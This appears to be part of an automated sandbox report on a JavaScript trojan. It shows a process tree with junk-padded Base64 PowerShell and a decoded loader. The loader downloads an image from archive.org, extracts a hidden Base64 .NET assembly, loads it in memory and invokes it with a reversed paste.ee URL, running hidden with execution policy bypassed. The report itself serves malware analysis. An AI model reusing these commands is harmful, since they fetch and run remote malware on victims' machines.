䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹F0↦ ☰ ䷸ ㈽ ⺹XQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹w↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹bgBV↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹c↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹OgBz↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹QQBk↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹F↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹cgBv↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹Mw↦ ☰ ䷸ ㈽ ⺹y↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹L↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo.replace('↦ ☰ ䷸ ㈽ ⺹','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:2712
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('0/yspnU/d/ee.etsap//:sptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32','desativado'))"
                4⤵
                • Blocklisted process makes network request
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:4248
          • C:\Windows\System32\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zO4F0EC723\trojan.js"
            2⤵
              PID:2860
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹VQBy↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹JwBo↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bw↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹Og↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹aQBh↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹M↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹x↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹M↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹dQBz↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹YQBy↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹cgBn↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹MQ↦ ☰ ䷸ ㈽ ⺹w↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹aQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBz↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bo↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹bwB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹Xw↦ ☰ ䷸ ㈽ ⺹y↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Mg↦ ☰ ䷸ ㈽ ⺹0↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Nw↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBh↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹Bu↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹agBw↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹dwBl↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹QwBs↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹ZQBu↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹TgBl↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹LQBP↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹agBl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹TgBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBX↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹YgBD↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹aQBl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹ZQBi↦ ☰ ䷸ ㈽ ⺹EM↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgB0↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹R↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹bgBs↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹EQ↦ ☰ ䷸ ㈽ ⺹YQB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹K↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBV↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹EU↦ ☰ ䷸ ㈽ ⺹bgBj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹ZwBd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBV↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹Rg↦ ☰ ䷸ ㈽ ⺹4↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹RwBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹UwB0↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹aQBu↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹K↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBC↦ ☰ ䷸ ㈽ ⺹Hk↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹KQ↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹8↦ ☰ ䷸ ㈽ ⺹Dw↦ ☰ ䷸ ㈽ ⺹QgBB↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹RQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹XwBT↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹QQBS↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹Pg↦ ☰ ䷸ ㈽ ⺹+↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹8↦ ☰ ䷸ ㈽ ⺹Dw↦ ☰ ䷸ ㈽ ⺹QgBB↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹RQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹XwBF↦ ☰ ䷸ ㈽ ⺹E4↦ ☰ ䷸ ㈽ ⺹R↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹+↦ ☰ ䷸ ㈽ ⺹D4↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBU↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹E8↦ ☰ ䷸ ㈽ ⺹Zg↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹KQ↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹ZQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹TwBm↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BG↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cs↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹LgBM↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹YgBh↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹T↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹ZwB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹YQBy↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BD↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBT↦ ☰ ䷸ ㈽ ⺹HU↦ ☰ ䷸ ㈽ ⺹YgBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹cgBp↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Zw↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ 